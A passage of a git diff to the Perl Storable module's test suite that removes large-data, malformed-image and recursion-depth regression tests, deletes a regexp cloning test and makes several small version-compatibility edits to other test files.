- - my $freeze = $opts{freeze} - or die "Missing freeze"; - my $thaw = $opts{thaw} - or die "Missing thaw"; - my $id = $opts{id} - or die "Missing id"; - my $name = $opts{name} - or die "Missing name"; - my $memory = $opts{memory} - or die "Missing memory"; - my $todo_thaw = $opts{todo_thaw} || ""; - - SKIP: - { - # IPC::Run would be handy here - - $ENV{PERL_TEST_MEMORY} >= $memory - or skip "Not enough memory to test $name", 2; - $skips =~ /\b\Q$id\E\b/ - and skip "You requested test $name ($id) be skipped", 2; - defined $keeps && $keeps !~ /\b\Q$id\E\b/ - and skip "You didn't request test $name ($id)", 2; - my $stored; - if (defined(my $pid = open(my $fh, "-|"))) { - unless ($pid) { - # child - open my $cfh, "|-", "gzip" - or die "Cannot pipe to gzip: $!"; - binmode $cfh; - $freeze->($cfh); - exit; - } - # parent - $stored = do { local $/; <$fh> }; - close $fh; - } - else { - skip "$name: Cannot fork for freeze", 2; - } - ok($stored, "$name: we got output data") - or skip "$name: skipping thaw test", 1; - - my ($tfh, $tname) = tempfile(); - - #my $tname = "$id.store.gz"; - #open my $tfh, ">", $tname or die; - #binmode $tfh; - - print $tfh $stored; - close $tfh; - - if (defined(my $pid = open(my $fh, "-|"))) { - unless ($pid) { - # child - open my $bfh, "-|", "gunzip <$tname" - or die "Cannot pipe from gunzip: $!"; - binmode $bfh; - $thaw->($bfh); - exit; - } - my $out = do { local $/; <$fh> }; - chomp $out; - local $TODO = $todo_thaw; - is($out, "OK", "$name: check result"); - } - else { - skip "$name: Cannot fork for thaw", 1; - } - } -} - - -sub make_2g_data { - my ($fh) = @_; - my @x; - my $y = 1; - my $z = 2; - my $g2 = 0x80000000; - $x[0] = \$y; - $x[$g2] = \$y; - $x[$g2+1] = \$z; - $x[$g2+2] = \$z; - store_fd(\@x, $fh); -} - -sub check_2g_data { - my ($fh) = @_; - my $x = retrieve_fd($fh); - my $g2 = 0x80000000; - $x->[0] == $x->[$g2] - or die "First entry mismatch"; - $x->[$g2+1] == $x->[$g2+2] - or die "2G+ entry mismatch"; - print "OK"; -} - -sub make_4g_data { - my ($fh) = @_; - my @x; - my $y = 1; - my $z = 2; - my $g4 = 2*0x80000000; - $x[0] = \$y; - $x[$g4] = \$y; - $x[$g4+1] = \$z; - $x[$g4+2] = \$z; - store_fd(\@x, $fh); -} - -sub check_4g_data { - my ($fh) = @_; - my $x = retrieve_fd($fh); - my $g4 = 2*0x80000000; - $x->[0] == $x->[$g4] - or die "First entry mismatch"; - $x->[$g4+1] == $x->[$g4+2] - or die "4G+ entry mismatch"; - ${$x->[$g4+1]} == 2 - or die "Incorrect value in 4G+ entry"; - print "OK"; -} - -sub make_hook_data { - my ($fh) = @_; - my @x; - my $y = HookLargeIds->new(101, { name => "one" }); - my $z = HookLargeIds->new(201, { name => "two" }); - my $g4 = 2*0x8000_0000; - $x[0] = $y; - $x[$g4] = $y; - $x[$g4+1] = $z; - $x[$g4+2] = $z; - store_fd(\@x, $fh); -} - -sub check_hook_data { - my ($fh) = @_; - my $x = retrieve_fd($fh); - my $g4 = 2*0x8000_0000; - my $y = $x->[$g4+1]; - $y = $x->[$g4+1]; - $y->id == 201 - or die "Incorrect id in 4G+ object"; - ref($y->data) eq 'HASH' - or die "data isn't a ref"; - $y->data->{name} eq "two" - or die "data name not 'one'"; - print "OK"; -} - -sub make_net_large_pv { - my ($fh) = @_; - my $x = "x"; # avoid constant folding making a 4G scalar - my $g4 = 2*0x80000000; - my $y = $x x ($g4 + 5); - nstore_fd(\$y, $fh); -} - -sub check_net_large_pv { - my ($fh) = @_; - my $x = retrieve_fd($fh); - my $g4 = 2*0x80000000; - ref $x && ref($x) eq "SCALAR" - or die "Not a scalar ref ", ref $x; - - length($$x) == $g4+5 - or die "Incorect length"; - print "OK"; -} - -sub make_2g_hook_data { - my ($fh) = @_; - - my $g2 = 0x80000000; - my $x = HookLargeData->new($g2); - store_fd($x, $fh); -} - -sub check_2g_hook_data { - my ($fh) = @_; - my $x = retrieve_fd($fh); - my $g2 = 0x80000000; - $x->size == $g2 - or die "Size incorrect ", $x->size; - print "OK"; -} - -sub make_4g_hook_data { - my ($fh) = @_; - - my $g2 = 0x80000000; - my $g4 = 2 * $g2; - my $x = HookLargeData->new($g4+1); - store_fd($x, $fh); -} - -sub check_4g_hook_data { - my ($fh) = @_; - my $x = retrieve_fd($fh); - my $g2 = 0x80000000; - my $g4 = 2 * $g2; - $x->size == $g4+1 - or die "Size incorrect ", $x->size; - print "OK"; -} - -sub find_exe { - my ($exe) = @_; - - $exe .= $Config{_exe}; - my @path = split /\Q$Config{path_sep}/, $ENV{PATH}; - for my $dir (@path) { - my $abs = File::Spec->catfile($dir, $exe); - -x $abs - and return $abs; - } -} - -package HookLargeIds; - -sub new { - my $class = shift; - my ($id, $data) = @_; - return bless { id => $id, data => $data }, $class; -} - -sub STORABLE_freeze { - #print STDERR "freeze called\n"; - #Devel::Peek::Dump($_[0]); - - return $_[0]->id, $_[0]->data; -} - -sub STORABLE_thaw { - my ($self, $cloning, $ser, $data) = @_; - - #Devel::Peek::Dump(\@_); - #print STDERR "thaw called\n"; - #Devel::Peek::Dump($self); - $self->{id} = $ser+0; - $self->{data} = $data; -} - -sub id { - $_[0]{id}; -} - -sub data { - $_[0]{data}; -} - -package HookLargeData; - -sub new { - my ($class, $size) = @_; - - return bless { size => $size }, $class; -} - -sub STORABLE_freeze { - return "x" x $_[0]{size}; -} - -sub STORABLE_thaw { - my ($self, $cloning, $ser) = @_; - - $self->{size} = length $ser; -} - -sub size { - $_[0]{size}; -} diff --git a/dist/Storable/t/interwork56.t b/dist/Storable/t/interwork56.t index 239c8c1828e6..fac8af9c5d02 100644 --- a/dist/Storable/t/interwork56.t +++ b/dist/Storable/t/interwork56.t @@ -30,7 +30,7 @@ use Storable qw(freeze thaw); use strict; use Test::More tests=>30; -our (%tests); +use vars qw(%tests); { local $/ = "\n\nend\n"; diff --git a/dist/Storable/t/just_plain_nasty.t b/dist/Storable/t/just_plain_nasty.t index 5423719e465d..818c4397f20b 100644 --- a/dist/Storable/t/just_plain_nasty.t +++ b/dist/Storable/t/just_plain_nasty.t @@ -35,8 +35,6 @@ BEGIN { use Storable qw(freeze thaw); -$Storable::flags = Storable::FLAGS_COMPAT; - #$Storable::DEBUGME = 1; BEGIN { plan tests => 34; diff --git a/dist/Storable/t/leaks.t b/dist/Storable/t/leaks.t index eb151a153b1d..06360d63f38c 100644 --- a/dist/Storable/t/leaks.t +++ b/dist/Storable/t/leaks.t @@ -32,18 +32,3 @@ plan 'tests' => 1; } } -{ # [cpan #97316] - package TestClass; - - sub new { - my $class = shift; - return bless({}, $class); - } - sub STORABLE_freeze { - die; - } - - package main; - my $obj = TestClass->new; - eval { freeze($obj); }; -} diff --git a/dist/Storable/t/lock.t b/dist/Storable/t/lock.t index 8c1fc576e447..af9a9ff49f66 100644 --- a/dist/Storable/t/lock.t +++ b/dist/Storable/t/lock.t @@ -33,14 +33,14 @@ plan(tests => 5); # We're just ensuring things work, we're not validating locking. # -isnt(lock_store(\@a, "store$$"), undef); +isnt(lock_store(\@a, 'store'), undef); my $dumped = &dump(\@a); isnt($dumped, undef); -$root = lock_retrieve("store$$"); +$root = lock_retrieve('store'); is(ref $root, 'ARRAY'); is(scalar @a, scalar @$root); is(&dump($root), $dumped); -END { 1 while unlink "store$$" } +unlink 't/store'; diff --git a/dist/Storable/t/malice.t b/dist/Storable/t/malice.t index 5888863d8456..867a0d750590 100644 --- a/dist/Storable/t/malice.t +++ b/dist/Storable/t/malice.t @@ -25,15 +25,17 @@ sub BEGIN { } use strict; +use vars qw($file_magic_str $other_magic $network_magic $byteorder + $major $minor $minor_write $fancy); -our $byteorder = $Config{byteorder}; +$byteorder = $Config{byteorder}; -our $file_magic_str = 'pst0'; -our $other_magic = 7 + length $byteorder; -our $network_magic = 2; -our $major = 2; -our $minor = 11; -our $minor_write = $] >= 5.019 ? 11 : $] > 5.008 ? 9 : $] > 5.005_50 ? 8 : 4; +$file_magic_str = 'pst0'; +$other_magic = 7 + length $byteorder; +$network_magic = 2; +$major = 2; +$minor = 10; +$minor_write = $] >= 5.019 ? 10 : $] > 5.008 ? 9 : $] > 5.005_50 ? 8 : 4; use Test::More; @@ -43,13 +45,13 @@ use Test::More; # There are only 2 * 2 tests per byte in the parts of the header not present # for network order, and 2 tests per byte on the 'pst0' "magic number" only # present in files, but not in things store()ed to memory -our $fancy = ($] > 5.007 ? 2 : 0); +$fancy = ($] > 5.007 ? 2 : 0); plan tests => 372 + length ($byteorder) * 4 + $fancy * 8; use Storable qw (store retrieve freeze thaw nstore nfreeze); require 'testlib.pl'; -our $file; +use vars '$file'; # The chr 256 is a hack to force the hash to always have the utf8 keys flag # set on 5.7.3 and later. Otherwise the test fails if run with -Mutf8 because @@ -206,7 +208,7 @@ sub test_things { $where = $file_magic + $network_magic; } - # Just the header and a tag 255. As 33 is currently the highest tag, this + # Just the header and a tag 255. As 31 is currently the highest tag, this # is "unexpected" $copy = substr ($contents, 0, $where) . chr 255; @@ -226,7 +228,7 @@ sub test_things { # local $Storable::DEBUGME = 1; # This is the delayed croak test_corrupt ($copy, $sub, - "/^Storable binary image v$header->{major}.$minor6 contains data of type 255. This Storable is v$header->{major}.$minor and can only handle data types up to 33/", + "/^Storable binary image v$header->{major}.$minor6 contains data of type 255. This Storable is v$header->{major}.$minor and can only handle data types up to 31/", "bogus tag, minor plus 4"); # And check again that this croak is not delayed: { diff --git a/dist/Storable/t/overload.t b/dist/Storable/t/overload.t index 64c09e46e231..bf1441bb67f2 100644 --- a/dist/Storable/t/overload.t +++ b/dist/Storable/t/overload.t @@ -18,8 +18,6 @@ sub BEGIN { use Storable qw(freeze thaw); -$Storable::flags = Storable::FLAGS_COMPAT; - use Test::More tests => 19; package OVERLOADED; diff --git a/dist/Storable/t/recurse.t b/dist/Storable/t/recurse.t index fa8be0b37435..399101cc4a14 100644 --- a/dist/Storable/t/recurse.t +++ b/dist/Storable/t/recurse.t @@ -5,11 +5,11 @@ # You may redistribute only under the same terms as Perl 5, as specified # in the README file that comes with the distribution. # -use Config; sub BEGIN { unshift @INC, 't'; unshift @INC, 't/compat' if $] < 5.006002; + require Config; import Config; if ($ENV{PERL_CORE} and $Config{'extensions'} !~ /\bStorable\b/) { print "1..0 # Skip: Storable was not built\n"; exit 0; @@ -17,10 +17,7 @@ sub BEGIN { } use Storable qw(freeze thaw dclone); - -$Storable::flags = Storable::FLAGS_COMPAT; - -use Test::More tests => 38; +use Test::More tests => 33; package OBJ_REAL; @@ -31,23 +28,23 @@ use Storable qw(freeze thaw); sub make { bless [], shift } sub STORABLE_freeze { - my $self = shift; - my $cloning = shift; - die "STORABLE_freeze" unless Storable::is_storing; - return (freeze(\@x), $self); + my $self = shift; + my $cloning = shift; + die "STORABLE_freeze" unless Storable::is_storing; + return (freeze(\@x), $self); } sub STORABLE_thaw { - my $self = shift; - my $cloning = shift; - my ($x, $obj) = @_; - die "STORABLE_thaw #1" unless $obj eq $self; - my $len = length $x; - my $a = thaw $x; - die "STORABLE_thaw #2" unless ref $a eq 'ARRAY'; - die "STORABLE_thaw #3" unless @$a == 2 && $a->[0] eq 'a' && $a->[1] == 1; - @$self = @$a; - die "STORABLE_thaw #4" unless Storable::is_retrieving; + my $self = shift; + my $cloning = shift; + my ($x, $obj) = @_; + die "STORABLE_thaw #1" unless $obj eq $self; + my $len = length $x; + my $a = thaw $x; + die "STORABLE_thaw #2" unless ref $a eq 'ARRAY'; + die "STORABLE_thaw #3" unless @$a == 2 && $a->[0] eq 'a' && $a->[1] == 1; + @$self = @$a; + die "STORABLE_thaw #4" unless Storable::is_retrieving; } package OBJ_SYNC; @@ -57,18 +54,18 @@ package OBJ_SYNC; sub make { bless {}, shift } sub STORABLE_freeze { - my $self = shift; - my ($cloning) = @_; - return if $cloning; - return ("", \@x, $self); + my $self = shift; + my ($cloning) = @_; + return if $cloning; + return ("", \@x, $self); } sub STORABLE_thaw { - my $self = shift; - my ($cloning, $undef, $a, $obj) = @_; - die "STORABLE_thaw #1" unless $obj eq $self; - die "STORABLE_thaw #2" unless ref $a eq 'ARRAY' || @$a != 2; - $self->{ok} = $self; + my $self = shift; + my ($cloning, $undef, $a, $obj) = @_; + die "STORABLE_thaw #1" unless $obj eq $self; + die "STORABLE_thaw #2" unless ref $a eq 'ARRAY' || @$a != 2; + $self->{ok} = $self; } package OBJ_SYNC2; @@ -76,30 +73,30 @@ package OBJ_SYNC2; use Storable qw(dclone); sub make { - my $self = bless {}, shift; - my ($ext) = @_; - $self->{sync} = OBJ_SYNC->make; - $self->{ext} = $ext; - return $self; + my $self = bless {}, shift; + my ($ext) = @_; + $self->{sync} = OBJ_SYNC->make; + $self->{ext} = $ext; + return $self; } sub STORABLE_freeze { - my $self = shift; - my %copy = %$self; - my $r = \%copy; - my $t = dclone($r->{sync}); - return ("", [$t, $self->{ext}], $r, $self, $r->{ext}); + my $self = shift; + my %copy = %$self; + my $r = \%copy; + my $t = dclone($r->{sync}); + return ("", [$t, $self->{ext}], $r, $self, $r->{ext}); } sub STORABLE_thaw { - my $self = shift; - my ($cloning, $undef, $a, $r, $obj, $ext) = @_; - die "STORABLE_thaw #1" unless $obj eq $self; - die "STORABLE_thaw #2" unless ref $a eq 'ARRAY'; - die "STORABLE_thaw #3" unless ref $r eq 'HASH'; - die "STORABLE_thaw #4" unless $a->[1] == $r->{ext}; - $self->{ok} = $self; - ($self->{sync}, $self->{ext}) = @$a; + my $self = shift; + my ($cloning, $undef, $a, $r, $obj, $ext) = @_; + die "STORABLE_thaw #1" unless $obj eq $self; + die "STORABLE_thaw #2" unless ref $a eq 'ARRAY'; + die "STORABLE_thaw #3" unless ref $r eq 'HASH'; + die "STORABLE_thaw #4" unless $a->[1] == $r->{ext}; + $self->{ok} = $self; + ($self->{sync}, $self->{ext}) = @$a; } package OBJ_REAL2; @@ -113,19 +110,19 @@ $hook_called = 0; sub make { bless [], shift } sub STORABLE_freeze { - my $self = shift; - $hook_called++; - return (freeze($self), $self) if ++$recursed < $MAX; - return ("no", $self); + my $self = shift; + $hook_called++; + return (freeze($self), $self) if ++$recursed < $MAX; + return ("no", $self); } sub STORABLE_thaw { - my $self = shift; - my $cloning = shift; - my ($x, $obj) = @_; - die "STORABLE_thaw #1" unless $obj eq $self; - $self->[0] = thaw($x) if $x ne "no"; - $recursed--; + my $self = shift; + my $cloning = shift; + my ($x, $obj) = @_; + die "STORABLE_thaw #1" unless $obj eq $self; + $self->[0] = thaw($x) if $x ne "no"; + $recursed--; } package main; @@ -186,32 +183,32 @@ is(Storable::is_retrieving, ''); package Foo; sub new { - my $class = shift; - my $dat = shift; - return bless {dat => $dat}, $class; + my $class = shift; + my $dat = shift; + return bless {dat => $dat}, $class; } package Bar; sub new { - my $class = shift; - return bless { - a => 'dummy', - b => [ - Foo->new(1), - Foo->new(2), # Second instance of a Foo - ] - }, $class; + my $class = shift; + return bless { + a => 'dummy', + b => [ + Foo->new(1), + Foo->new(2), # Second instance of a Foo + ] + }, $class; } sub STORABLE_freeze { - my($self,$clonning) = @_; - return "$self->{a}", $self->{b}; + my($self,$clonning) = @_; + return "$self->{a}", $self->{b}; } sub STORABLE_thaw { - my($self,$clonning,$dummy,$o) = @_; - $self->{a} = $dummy; - $self->{b} = $o; + my($self,$clonning,$dummy,$o) = @_; + $self->{a} = $dummy; + $self->{b} = $o; } package main; @@ -233,42 +230,42 @@ is(ref($bar2->{b}[1]), 'Foo'); package CLASS_1; sub make { - my $self = bless {}, shift; - return $self; + my $self = bless {}, shift; + return $self; } package CLASS_2; sub make { - my $self = bless {}, shift; - my ($o) = @_; - $self->{c1} = CLASS_1->make(); - $self->{o} = $o; - $self->{c3} = bless CLASS_1->make(), "CLASS_3"; - $o->set_c2($self); - return $self; + my $self = bless {}, shift; + my ($o) = @_; + $self->{c1} = CLASS_1->make(); + $self->{o} = $o; + $self->{c3} = bless CLASS_1->make(), "CLASS_3"; + $o->set_c2($self); + return $self; } sub STORABLE_freeze { - my($self, $clonning) = @_; - return "", $self->{c1}, $self->{c3}, $self->{o}; + my($self, $clonning) = @_; + return "", $self->{c1}, $self->{c3}, $self->{o}; } sub STORABLE_thaw { - my($self, $clonning, $frozen, $c1, $c3, $o) = @_; - main::is(ref $self, "CLASS_2"); - main::is(ref $c1, "CLASS_1"); - main::is(ref $c3, "CLASS_3"); - main::is(ref $o, "CLASS_OTHER"); - $self->{c1} = $c1; - $self->{c3} = $c3; + my($self, $clonning, $frozen, $c1, $c3, $o) = @_; + main::is(ref $self, "CLASS_2"); + main::is(ref $c1, "CLASS_1"); + main::is(ref $c3, "CLASS_3"); + main::is(ref $o, "CLASS_OTHER"); + $self->{c1} = $c1; + $self->{c3} = $c3; } package CLASS_OTHER; sub make { - my $self = bless {}, shift; - return $self; + my $self = bless {}, shift; + return $self; } sub set_c2 { $_[0]->{c2} = $_[1] } @@ -280,89 +277,36 @@ sub set_c2 { $_[0]->{c2} = $_[1] } package Foo2; sub new { - my $self = bless {}, $_[0]; - $self->{freezed} = "$self"; - return $self; + my $self = bless {}, $_[0]; + $self->{freezed} = "$self"; + return $self; } sub DESTROY { - my $self = shift; - $::refcount_ok = 1 unless "$self" eq $self->{freezed}; + my $self = shift; + $::refcount_ok = 1 unless "$self" eq $self->{freezed}; } package Foo3; sub new { - bless {}, $_[0]; + bless {}, $_[0]; } sub STORABLE_freeze { - my $obj = shift; - return ("", $obj, Foo2->new); + my $obj = shift; + return ("", $obj, Foo2->new); } sub STORABLE_thaw { } # Not really used package main; +use vars qw($refcount_ok); my $o = CLASS_OTHER->make(); my $c2 = CLASS_2->make($o); my $so = thaw freeze $o; -our $refcount_ok = 0; +$refcount_ok = 0; thaw freeze(Foo3->new); -is($refcount_ok, 1, "check refcount"); - -# Check stack overflows [cpan #97526] -# JSON::XS limits this to 512. -# Small 64bit systems fail with 1200 (c++ debugging), with gcc 3000. -# Optimized 64bit allows up to 33.000 recursion depth. -# with asan the limit is 255 though. -sub MAX_DEPTH () { Storable::stack_depth() } -sub MAX_DEPTH_HASH () { Storable::stack_depth_hash() } -sub OVERFLOW () { 35000 } -{ - my $t; - print "# max depth ", MAX_DEPTH, "\n"; - $t = [$t] for 1 .. MAX_DEPTH; - dclone $t; - pass "can nest ".MAX_DEPTH." array refs"; -} -{ - my $t; - $t = {1=>$t} for 1 .. MAX_DEPTH_HASH-10; - dclone $t; - pass "can nest ".(MAX_DEPTH_HASH)." hash refs"; -} -{ - my (@t); - push @t, [{}] for 1..5000; - #diag 'trying simple array[5000] stack overflow, no recursion'; - dclone \@t; - is $@, '', 'No simple array[5000] stack overflow #257'; -} - -eval { - my $t; - $t = [$t] for 1 .. MAX_DEPTH*2; - note 'trying catching recursive aref stack overflow'; - dclone $t; -}; -like $@, qr/Max\. recursion depth with nested structures exceeded/, - 'Caught aref stack overflow '.MAX_DEPTH*2; - -if ($ENV{APPVEYOR} and length(pack "p", "") >= 8) { - # TODO: need to repro this fail on a small machine. - ok(1, "skip dclone of big hash"); -} -else { - eval { - my $t; - # 35.000 will cause appveyor 64bit windows to fail earlier - $t = {1=>$t} for 1 .. MAX_DEPTH * 2; - note 'trying catching recursive href stack overflow'; - dclone $t; - }; - like $@, qr/Max\. recursion depth with nested structures exceeded/, - 'Caught href stack overflow '.MAX_DEPTH*2; -} +is($refcount_ok, 1); diff --git a/dist/Storable/t/regexp.t b/dist/Storable/t/regexp.t deleted file mode 100644 index acf28cfec666..000000000000 --- a/dist/Storable/t/regexp.t +++ /dev/null @@ -1,127 +0,0 @@ -#!perl -w -use strict; -use Storable "dclone"; -use Test::More; - -my $version = int(($]-5)*1000); - -$version >= 8 - or plan skip_all => "regexps not supported before 5.8"; - -my @tests; -while () { - chomp; - next if /^\s*#/ || !/\S/; - my ($range, $code, $match, $name) = split /\s*;\s*/; - defined $name or die "Bad test line"; - my $ascii_only = $range =~ s/A//; - next if $ascii_only and ord("A") != 65; - if ($range =~ /^(\d+)-$/) { - next if $version < $1 - } - elsif ($range =~ /^-(\d+)$/) { - next if $version > $1 - } - elsif ($range =~ /^(\d+)-(\d+)$/) { - next if $version < $1 || $version > $2; - } - elsif ($range ne "-") { - die "Invalid version range $range for $name"; - } - my @match = split /\s*,\s*/, $match; - for my $m (@match) { - my $not = $m =~ s/^!//; - my $cmatch = eval $m; - die if $@; - push @tests, [ $code, $not, $cmatch, $m, $name ]; - } -} - -plan tests => 9 + 3*scalar(@tests); - -SKIP: -{ - $version >= 14 && $version < 20 - or skip "p introduced in 5.14, pointless from 5.20", 4; - my $q1 = eval "qr/b/p"; - my $q2 = eval "qr/b/"; - my $c1 = dclone($q1); - my $c2 = dclone($q2); - ok("abc" =~ $c1, "abc matches $c1"); - is(${^PREMATCH}, "a", "check p worked"); - ok("cba" =~ $c2, "cba matches $c2"); - isnt(${^PREMATCH}, "c", "check no p worked"); -} - -SKIP: -{ - $version >= 24 - or skip "n introduced in 5.22", 4; - my $c1 = dclone(eval "qr/(\\w)/"); - my $c2 = dclone(eval "qr/(\\w)/n"); - ok("a" =~ $c1, "a matches $c1"); - is($1, "a", "check capturing preserved"); - ok("b" =~ $c2, "b matches $c2"); - isnt($1, "b", "check non-capturing preserved"); -} - -SKIP: -{ - $version >= 8 - or skip "Cannot retrieve before 5.8", 1; - my $x; - my $re = qr/a(?{ $x = 1 })/; - use re 'eval'; - ok(!eval { dclone($re) }, "should fail to clone, even with use re 'eval'"); -} - -for my $test (@tests) { - my ($code, $not, $match, $matchc, $name) = @$test; - my $qr = eval $code; - die "Could not compile $code: $@" if $@; - if ($not) { - unlike($match, $qr, "$name: pre(not) match $matchc"); - } - else { - like($match, $qr, "$name: prematch $matchc"); - } - my $qr2 = dclone($qr); - if ($not) { - unlike($match, $qr2, "$name: (not) match $matchc"); - } - else { - like($match, $qr2, "$name: match $matchc"); - } - - # this is unlikely to be a problem, but make sure regexps are frozen sanely - # as part of a data structure - my $a2 = dclone([ $qr ]); - if ($not) { - unlike($match, $a2->[0], "$name: (not) match $matchc (array)"); - } - else { - like($match, $a2->[0], "$name: match $matchc (array)"); - } -} - -__DATA__ -# semi-colon separated: -# perl version range; regexp qr; match string; name -# - version range is PERL_VERSION, ie 22 for 5.22 as from-to with both from -# and to optional (so "-" is all versions. -# - match string is , separated match strings -# - if a match string starts with ! it mustn't match, otherwise it must -# spaces around the commas ignored. -# The initial "!" is stripped and the remainder treated as perl code to define -# the string to (not) be matched --; qr/foo/ ; "foo",!"fob" ; simple --; qr/foo/i ; "foo","FOO",!"fob" ; simple case insensitive --; qr/f o o/x ; "foo", !"f o o" ; /x --; qr(a/b) ; "a/b" ; alt quotes -A-; qr(\x2E) ; ".", !"a" ; \x2E - hex meta --; qr/\./ ; "." , !"a" ; \. - backslash meta -8- ; qr/\x{100}/ ; "\x{100}" ; simple unicode -12- ; qr/fss/i ; "f\xDF\x{101}" ; case insensive unicode promoted -22-; qr/fss/ui ; "f\xDF" ; case insensitive unicode SS /iu -22-; qr/fss/aai ; !"f\xDF" ; case insensitive unicode SS /iaa -22-; qr/f\w/a ; "fo", !"f\xff" ; simple /a flag diff --git a/dist/Storable/t/restrict.t b/dist/Storable/t/restrict.t index 41f7aad14c2c..a8a9d81495c6 100644 --- a/dist/Storable/t/restrict.t +++ b/dist/Storable/t/restrict.t @@ -36,9 +36,7 @@ sub BEGIN { use Storable qw(dclone freeze thaw); use Hash::Util qw(lock_hash unlock_value lock_keys); -use Config; -$Storable::DEBUGME = $ENV{STORABLE_DEBUGME}; -use Test::More tests => (!$Storable::DEBUGME && $Config{usecperl} ? 105 : 304); +use Test::More tests => 304; my %hash = (question => '?', answer => 42, extra => 'junk', undef => undef); lock_hash %hash; @@ -122,10 +120,7 @@ for $Storable::canonical (0, 1) { } # [perl #73972] -# broken again with cperl PERL_PERTURB_KEYS_TOP. -SKIP: { - skip "TODO restricted Storable hashes broken with PERL_PERTURB_KEYS_TOP", 1 - if !$Storable::DEBUGME && $Config{usecperl}; +{ for my $n (1..100) { my @keys = map { "FOO$_" } (1..$n); diff --git a/dist/Storable/t/retrieve.t b/dist/Storable/t/retrieve.t index 04127728906d..fd8335d107af 100644 --- a/dist/Storable/t/retrieve.t +++ b/dist/Storable/t/retrieve.t @@ -1,14 +1,12 @@ #!./perl # # Copyright (c) 1995-2000, Raphael Manfredi -# Copyright (c) 2017, cPanel Inc # # You may redistribute only under the same terms as Perl 5, as specified # in the README file that comes with the distribution. # sub BEGIN { - unshift @INC, 'dist/Storable/t' if $ENV{PERL_CORE} and -d 'dist/Storable/t'; unshift @INC, 't'; unshift @INC, 't/compat' if $] < 5.006002; require Config; import Config; @@ -21,7 +19,7 @@ sub BEGIN { use Storable qw(store retrieve nstore); -use Test::More tests => 20; +use Test::More tests => 14; $a = 'toto'; $b = \$a; @@ -31,13 +29,13 @@ $c->{attribute} = 'attrval'; @a = ('first', '', undef, 3, -4, -3.14159, 456, 4.5, $b, \$a, $a, $c, \$c, \%a); -isnt(store(\@a, "store$$"), undef); +isnt(store(\@a, 'store'), undef); is(Storable::last_op_in_netorder(), ''); isnt(nstore(\@a, 'nstore'), undef); is(Storable::last_op_in_netorder(), 1); is(Storable::last_op_in_netorder(), 1); -$root = retrieve("store$$"); +$root = retrieve('store'); isnt($root, undef); is(Storable::last_op_in_netorder(), ''); @@ -56,37 +54,4 @@ is($d1, $d2); isnt($root->[1], undef); is(length $root->[1], 0); -# $Storable::DEBUGME = 1; -{ - # len>I32: todo patch the storable image number into the strings, fake 2.10 - # $Storable::BIN_MINOR - my $retrieve_blessed = "\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x11\xff\x49\x6e\x74\xff\x72\x6e\x61\x6c\x73\x02\x00\x00\x00\x00"; - my $x = eval { Storable::mretrieve($retrieve_blessed); }; - # Long integer or Double size or Byte order is not compatible - like($@, qr/^(Corrupted classname length|.* is not compatible|panic: malloc)/, "RT #130635 $@"); - is($x, undef, 'and undef result'); -} - -{ - # len>I32 - my $retrieve_hook = "\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x13\x04\x49\xfe\xf4\xff\x72\x6e\x61\x6c\x73\x02\x00\x00\x00\x00"; - my $x = eval { Storable::mretrieve($retrieve_hook); }; - like($@, qr/^(Corrupted classname length|.* is not compatible|panic: malloc)/, "$@"); - is($x, undef, 'and undef result'); -} - -SKIP: -{ - # this can allocate a lot of memory, only do that if the testers tells us we can - # the test allocates 2GB, but other memory is allocated too, so we want - # at least 3 - $ENV{PERL_TEST_MEMORY} && $ENV{PERL_TEST_MEMORY} >= 3 - or skip "over 2GB memory needed for this test", 2; - # len127: stack overflow - my $retrieve_hook = "\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x13\x04\x49\xfe\xf4\x7f\x72\x6e\x61\x6c\x73\x02\x00\x00\x00\x00"; - my $x = eval { Storable::mretrieve($retrieve_hook); }; - is($?, 0, "no stack overflow in retrieve_hook()"); - is($x, undef, 'either out of mem or normal error (malloc 2GB)'); -} - -END { 1 while unlink("store$$", 'nstore') } +END { 1 while unlink('store', 'nstore') } diff --git a/dist/Storable/t/st-dump.pl b/dist/Storable/t/st-dump.pl index 50d871287005..e9652f02e2f0 100644 --- a/dist/Storable/t/st-dump.pl +++ b/dist/Storable/t/st-dump.pl @@ -17,7 +17,7 @@ package dump; ); # Given an object, dump its transitive data closure -sub main::dump { +sub main'dump { my ($object) = @_; croak "Not a reference!" unless ref($object); local %dumped; diff --git a/dist/Storable/t/store.t b/dist/Storable/t/store.t index 45af0b26b4cd..b25dbd238f96 100644 --- a/dist/Storable/t/store.t +++ b/dist/Storable/t/store.t @@ -17,7 +17,6 @@ sub BEGIN { require 'st-dump.pl'; } -# $Storable::DEBUGME = 1; use Storable qw(store retrieve store_fd nstore_fd fd_retrieve); use Test::More tests => 25; @@ -30,12 +29,12 @@ $c->{attribute} = 'attrval'; @a = ('first', undef, 3, -4, -3.14159, 456, 4.5, $b, \$a, $a, $c, \$c, \%a); -isnt(store(\@a, "store$$"), undef); +isnt(store(\@a, 'store'), undef); $dumped = &dump(\@a); isnt($dumped, undef); -$root = retrieve("store$$"); +$root = retrieve('store'); isnt($root, undef); $got = &dump($root); @@ -43,7 +42,7 @@ isnt($got, undef); is($got, $dumped); -1 while unlink "store$$"; +1 while unlink 'store'; package FOO; @ISA = qw(Storable); @@ -56,9 +55,9 @@ sub make { package main; $foo = FOO->make; -isnt($foo->store("store$$"), undef); +isnt($foo->store('store'), undef); -isnt(open(OUT, '>>', "store$$"), undef); +isnt(open(OUT, '>>store'), undef); binmode OUT; isnt(store_fd(\@a, ::OUT), undef); @@ -67,7 +66,7 @@ isnt(nstore_fd(\%a, ::OUT), undef); isnt(close(OUT), undef); -isnt(open(OUT, "store$$"), undef); +isnt(open(OUT, 'store'), undef); $r = fd_retrieve(::OUT); isnt($r, undef); @@ -113,4 +112,4 @@ isnt($@, ''); } close OUT or die "Could not close: $!"; -END { 1 while unlink "store$$" } +END { 1 while unlink 'store' } diff --git a/dist/Storable/t/testlib.pl b/dist/Storable/t/testlib.pl index a44c33854130..9b07dd45f983 100644 --- a/dist/Storable/t/testlib.pl +++ b/dist/Storable/t/testlib.pl @@ -1,7 +1,8 @@ #!perl -w use strict; +use vars '$file'; -our $file = "storable-testfile.$$"; +$file = "storable-testfile.$$"; die "Temporary file '$file' already exists" if -e $file; END { while (-f $file) {unlink $file or die "Can't unlink '$file': $!" }} @@ -11,7 +12,7 @@ sub slurp { my $file = shift; local (*FH, $/); - open FH, "<", $file or die "Can't open '$file': $!"; + open FH, '<', $file or die "Can't open '$file': 